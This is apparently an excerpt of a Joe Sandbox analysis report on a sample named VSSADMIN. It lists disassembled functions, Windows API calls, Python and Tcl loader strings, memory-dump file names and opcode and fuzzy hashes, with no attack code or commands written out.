Opcode Fuzzy Hash: 2cc5a4cded4ecef5b1ebc9d4bcc7e49c1205c2bdcadbae89e659e8d650b3b6a2
Instruction Fuzzy Hash: 3BD1C126E08A4296E7249F25D4D01B967B1FF56FA8F448137EA0DC7A85DF3DE841C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C89B14 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF614C89B8D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF614C89BA5
RtlVirtualUnwind.KERNEL32 ref: 00007FF614C89BE0
IsDebuggerPresent.KERNEL32 ref: 00007FF614C89C19
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF614C89C23
UnhandledExceptionFilter.KERNEL32 ref: 00007FF614C89C2E

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: be108ae6727a529d83f8885eb47159bd80851fd8c8093c6f980a4c1e93935562
Instruction ID: 0a12bd7df231abbe741c659f4b0952ab2586f86e3b7f15c9633988d0bca6aba2
Opcode Fuzzy Hash: be108ae6727a529d83f8885eb47159bd80851fd8c8093c6f980a4c1e93935562
Instruction Fuzzy Hash: 67314136618F8196DB64CB25E8802EE73B4FB85B68F500136EA9D83B95DF3DD545C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C909E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C90A30
FindFirstFileExW.KERNEL32 ref: 00007FF614C90B3A

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 623d3f57ef72cd0df657952e6d1f3843b180603a65a1e46de5efd301fd58a1b3
Instruction ID: 962ff6a41b4d55d3988710cef1e5ff54d8f6c494a582aed03bfcb54f23ff9a01
Opcode Fuzzy Hash: 623d3f57ef72cd0df657952e6d1f3843b180603a65a1e46de5efd301fd58a1b3
Instruction Fuzzy Hash: FFB1B562B19E9651EA609B26D4806BA63B1EB46FF8F444133EE5D87B85DF3DE441C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C950CC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF614C950FA

Part of subcall function 00007FF614C94848: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C9485C

_get_daylight.LIBCMT ref: 00007FF614C9510B

Part of subcall function 00007FF614C947E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C947FC

_get_daylight.LIBCMT ref: 00007FF614C9511C

Part of subcall function 00007FF614C94818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C9482C

Part of subcall function 00007FF614C89E48: HeapFree.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E5E
Part of subcall function 00007FF614C89E48: GetLastError.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E68

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF614C9535C), ref: 00007FF614C95143

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: e2ff6b89c74d0715b8c25be54fefa0a6bdbc36a2ab972a0e38a943a05cc41bbd
Instruction ID: 3467c06d292c2f9e9a3e86a1de5ffc1b2cf8cfba00a850a0ab9599cce632a896
Opcode Fuzzy Hash: e2ff6b89c74d0715b8c25be54fefa0a6bdbc36a2ab972a0e38a943a05cc41bbd
Instruction Fuzzy Hash: B251AD36A08E4296E714DF21E8C15B96770FB5AFA8F408137EA0DC3A96DF3DE4418740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF2B62 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FFD3FCBA3D9
WSAGetLastError.WS2_32 ref: 00007FFD3FCBA3E8

Strings

..\s\crypto\bio\b_sock2.c, xrefs: 00007FFD3FCBA38E, 00007FFD3FCBA3FE, 00007FFD3FCBA41A

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastbind
String ID: ..\s\crypto\bio\b_sock2.c
API String ID: 2328862993-3200932406
Opcode ID: 769c29d007f33f69811d41728ff054719c46503b891464c8ad49b5064c10f0e6
Instruction ID: c74d6401c82730f6f899e7cb00cb27f34f0968bbe0e7749beef81fbaf2795edc
Opcode Fuzzy Hash: 769c29d007f33f69811d41728ff054719c46503b891464c8ad49b5064c10f0e6
Instruction Fuzzy Hash: D421CD72B0821A86E714DB26F8606AD7760FB80B98F400635EB9D43BD9DF3DE9559B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF4246 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46b17bfff405d911cbf0ed16f10332b4be66aad2a683c4b6cb6413eca26ac33
Instruction ID: 16075fe6d6d8b8483d344ba2f931c62f5eb61ece27789cd7de5e838f743fb341
Opcode Fuzzy Hash: a46b17bfff405d911cbf0ed16f10332b4be66aad2a683c4b6cb6413eca26ac33
Instruction Fuzzy Hash: E4F0BE323682A505CB99CA36B448FAD6ED59391BC9F22C030EA0CC3F55E92EC601CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF5731 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47cb47f2231c500fe69675262d211844ffd3893697c7c00b0061ec7b87a542e7
Instruction ID: eeaf4836678b8b6a304919c63ceb6be758e64cbe88196c4ace8b54458b72a233
Opcode Fuzzy Hash: 47cb47f2231c500fe69675262d211844ffd3893697c7c00b0061ec7b87a542e7
Instruction Fuzzy Hash: 40E0DF727583A845C75ACA333118E6DAB90A754B89F43C030DA0EC3F46EC2EC601DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C73E10 Relevance: 291.0, APIs: 55, Strings: 111, Instructions: 457libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73E26
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73E65
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73E8A
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73EAF
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73ED7
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73EFF
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73F27
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73F4F
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73F77

Strings

Failed to get address for PyObject_SetAttrString, xrefs: 00007FF614C743C9
Failed to get address for Py_UTF8Mode, xrefs: 00007FF614C73FB9
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF614C74289
Failed to get address for PyList_Append, xrefs: 00007FF614C742D9
Failed to get address for PyUnicode_FromString, xrefs: 00007FF614C74581
PySys_GetObject, xrefs: 00007FF614C7449D
Failed to get address for Py_NoSiteFlag, xrefs: 00007FF614C73EE9
Failed to get address for Py_SetPath, xrefs: 00007FF614C740A9
PyMarshal_ReadObjectFromString, xrefs: 00007FF614C7453D
Failed to get address for PyErr_Fetch, xrefs: 00007FF614C741E9
PyErr_Fetch, xrefs: 00007FF614C741CD
Failed to get address for PySys_SetObject, xrefs: 00007FF614C744E1
PyUnicode_Replace, xrefs: 00007FF614C746A5
PySys_SetPath, xrefs: 00007FF614C744ED
PyObject_CallFunction, xrefs: 00007FF614C7435D
Failed to get address for Py_UnbufferedStdioFlag, xrefs: 00007FF614C73F89
Py_SetPythonHome, xrefs: 00007FF614C74105
Failed to get address for PyErr_Print, xrefs: 00007FF614C741C1
PyErr_Clear, xrefs: 00007FF614C74155
Failed to get address for Py_IncRef, xrefs: 00007FF614C74059
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF614C743A1
Failed to get address for PySys_GetObject, xrefs: 00007FF614C744B9
Py_NoSiteFlag, xrefs: 00007FF614C73ECD
PySys_SetObject, xrefs: 00007FF614C744C5
PyUnicode_AsUTF8, xrefs: 00007FF614C74655
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF614C74441
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF614C743F1
Failed to get address for PyEval_EvalCode, xrefs: 00007FF614C74531
PyObject_GetAttrString, xrefs: 00007FF614C743D5
Failed to get address for PySys_SetPath, xrefs: 00007FF614C74509
PyUnicode_FromFormat, xrefs: 00007FF614C745DD
PyErr_Print, xrefs: 00007FF614C741A5
Failed to get address for PySys_SetArgvEx, xrefs: 00007FF614C74491
Failed to get address for Py_BuildValue, xrefs: 00007FF614C73FE1
Failed to get address for PyObject_Str, xrefs: 00007FF614C74419
Py_OptimizeFlag, xrefs: 00007FF614C73F1D
Failed to get address for PyErr_Restore, xrefs: 00007FF614C74211
Failed to get address for Py_VerboseFlag, xrefs: 00007FF614C73F61
Py_GetPath, xrefs: 00007FF614C740B5
PyImport_ImportModule, xrefs: 00007FF614C74295
PyUnicode_DecodeFSDefault, xrefs: 00007FF614C7462D
Py_DecodeLocale, xrefs: 00007FF614C7458D
Failed to get address for PyErr_Clear, xrefs: 00007FF614C74171
PyDict_GetItemString, xrefs: 00007FF614C7412D
PyMem_RawFree, xrefs: 00007FF614C745B5
PyErr_Occurred, xrefs: 00007FF614C7417D
PySys_AddWarnOption, xrefs: 00007FF614C7444D
Py_FrozenFlag, xrefs: 00007FF614C73E80
PyModule_GetDict, xrefs: 00007FF614C74335
Py_Finalize, xrefs: 00007FF614C74015
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF614C745F9
PyObject_SetAttrString, xrefs: 00007FF614C743AD
PyUnicode_FromString, xrefs: 00007FF614C74565
Failed to get address for PySys_AddWarnOption, xrefs: 00007FF614C74469
Failed to get address for Py_SetPythonHome, xrefs: 00007FF614C74121
Failed to get address for PyLong_AsLong, xrefs: 00007FF614C74329
PyLong_AsLong, xrefs: 00007FF614C7430D
Failed to get address for Py_FileSystemDefaultEncoding, xrefs: 00007FF614C73E77
Failed to get address for PyList_New, xrefs: 00007FF614C74301
PyErr_Restore, xrefs: 00007FF614C741F5
Failed to get address for Py_SetProgramName, xrefs: 00007FF614C740F9
Failed to get address for Py_GetPath, xrefs: 00007FF614C740D1
Py_VerboseFlag, xrefs: 00007FF614C73F45
Failed to get address for PyDict_GetItemString, xrefs: 00007FF614C74149
PyList_Append, xrefs: 00007FF614C742BD
Failed to get address for Py_DontWriteBytecodeFlag, xrefs: 00007FF614C73E38
PyImport_ExecCodeModule, xrefs: 00007FF614C7426D
Py_FileSystemDefaultEncoding, xrefs: 00007FF614C73E5B
Py_UTF8Mode, xrefs: 00007FF614C73F9D
Failed to get address for PyErr_Occurred, xrefs: 00007FF614C74199
GetProcAddress, xrefs: 00007FF614C73E3F
Failed to get address for PyModule_GetDict, xrefs: 00007FF614C74351
Failed to get address for PyUnicode_Replace, xrefs: 00007FF614C746C1
Py_UnbufferedStdioFlag, xrefs: 00007FF614C73F6D
Failed to get address for PyObject_CallFunction, xrefs: 00007FF614C74379
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF614C74649
Py_Initialize, xrefs: 00007FF614C74065
Failed to get address for PyImport_ImportModule, xrefs: 00007FF614C742B1
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF614C74239
PySys_SetArgvEx, xrefs: 00007FF614C74475
Py_SetProgramName, xrefs: 00007FF614C740DD
Failed to get address for Py_OptimizeFlag, xrefs: 00007FF614C73F39
Failed to get address for PyUnicode_Join, xrefs: 00007FF614C74699
PyUnicode_Join, xrefs: 00007FF614C7467D
PyUnicode_Decode, xrefs: 00007FF614C74605
Failed to get address for Py_Initialize, xrefs: 00007FF614C74081
Failed to get address for Py_IgnoreEnvironmentFlag, xrefs: 00007FF614C73EC1
PyEval_EvalCode, xrefs: 00007FF614C74515
Py_IgnoreEnvironmentFlag, xrefs: 00007FF614C73EA5
Failed to get address for PyUnicode_Decode, xrefs: 00007FF614C74621
Py_DecRef, xrefs: 00007FF614C73FED
Py_BuildValue, xrefs: 00007FF614C73FC5
PyRun_SimpleStringFlags, xrefs: 00007FF614C74425
Failed to get address for Py_DecRef, xrefs: 00007FF614C74009
Failed to get address for Py_NoUserSiteDirectory, xrefs: 00007FF614C73F11
PyObject_CallFunctionObjArgs, xrefs: 00007FF614C74385
Py_IncRef, xrefs: 00007FF614C7403D
PyObject_Str, xrefs: 00007FF614C743FD
PyList_New, xrefs: 00007FF614C742E5
Py_NoUserSiteDirectory, xrefs: 00007FF614C73EF5
Py_SetPath, xrefs: 00007FF614C7408D
Failed to get address for Py_DecodeLocale, xrefs: 00007FF614C745A9
Failed to get address for Py_Finalize, xrefs: 00007FF614C74031
PyErr_NormalizeException, xrefs: 00007FF614C7421D
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF614C74671
PyImport_AddModule, xrefs: 00007FF614C74245
Failed to get address for PyImport_AddModule, xrefs: 00007FF614C74261
Failed to get address for PyMem_RawFree, xrefs: 00007FF614C745D1
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF614C74559
Py_DontWriteBytecodeFlag, xrefs: 00007FF614C73E1F
Failed to get address for Py_FrozenFlag, xrefs: 00007FF614C73E9C

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_UTF8Mode$Failed to get address for Py_UnbufferedStdioFlag$Failed to get address for Py_VerboseFlag$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyRun_SimpleStringFlags$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_UTF8Mode$Py_UnbufferedStdioFlag$Py_VerboseFlag
API String ID: 190572456-3109299426
Opcode ID: 9e5338f17e9a06305e3f6e0c00f43c9f2351ab77f2791f85b3366b77a8fa4fe8
Instruction ID: 820fcf5087af11d6701d077da3f7f76edcc49149595e5afffe47fb918676a7f8
Opcode Fuzzy Hash: 9e5338f17e9a06305e3f6e0c00f43c9f2351ab77f2791f85b3366b77a8fa4fe8
Instruction Fuzzy Hash: 46423564A0EF47B2EE558B08E9D117422B2BF46FB9B946037C40E87364FF7EA559C200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C75F70 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF614C75F87
GetProcAddress.KERNEL32 ref: 00007FF614C75FC6
GetProcAddress.KERNEL32 ref: 00007FF614C75FEB
GetProcAddress.KERNEL32 ref: 00007FF614C76010
GetProcAddress.KERNEL32 ref: 00007FF614C76038
GetProcAddress.KERNEL32 ref: 00007FF614C76060
GetProcAddress.KERNEL32 ref: 00007FF614C76088
GetProcAddress.KERNEL32 ref: 00007FF614C760B0
GetProcAddress.KERNEL32 ref: 00007FF614C760D8

Strings

Failed to get address for Tcl_EvalObjv, xrefs: 00007FF614C763BA
Tcl_CreateInterp, xrefs: 00007FF614C75FBC
Failed to get address for Tcl_Finalize, xrefs: 00007FF614C7604A
Tcl_GetCurrentThread, xrefs: 00007FF614C760CE
Tcl_Finalize, xrefs: 00007FF614C7602E
Tk_GetNumMainWindows, xrefs: 00007FF614C7643E
Tcl_GetObjResult, xrefs: 00007FF614C76326
Tcl_ThreadQueueEvent, xrefs: 00007FF614C761BE
Tcl_NewStringObj, xrefs: 00007FF614C762AE
Tcl_SetVar2Ex, xrefs: 00007FF614C762FE
Tcl_Alloc, xrefs: 00007FF614C763C6
Tcl_EvalObjv, xrefs: 00007FF614C7639E
Tcl_MutexLock, xrefs: 00007FF614C760F6
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF614C75FD8
Tcl_SetVar2, xrefs: 00007FF614C76236
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF614C75FFD
Failed to get address for Tcl_EvalFile, xrefs: 00007FF614C7636A
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF614C761B2
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF614C7609A
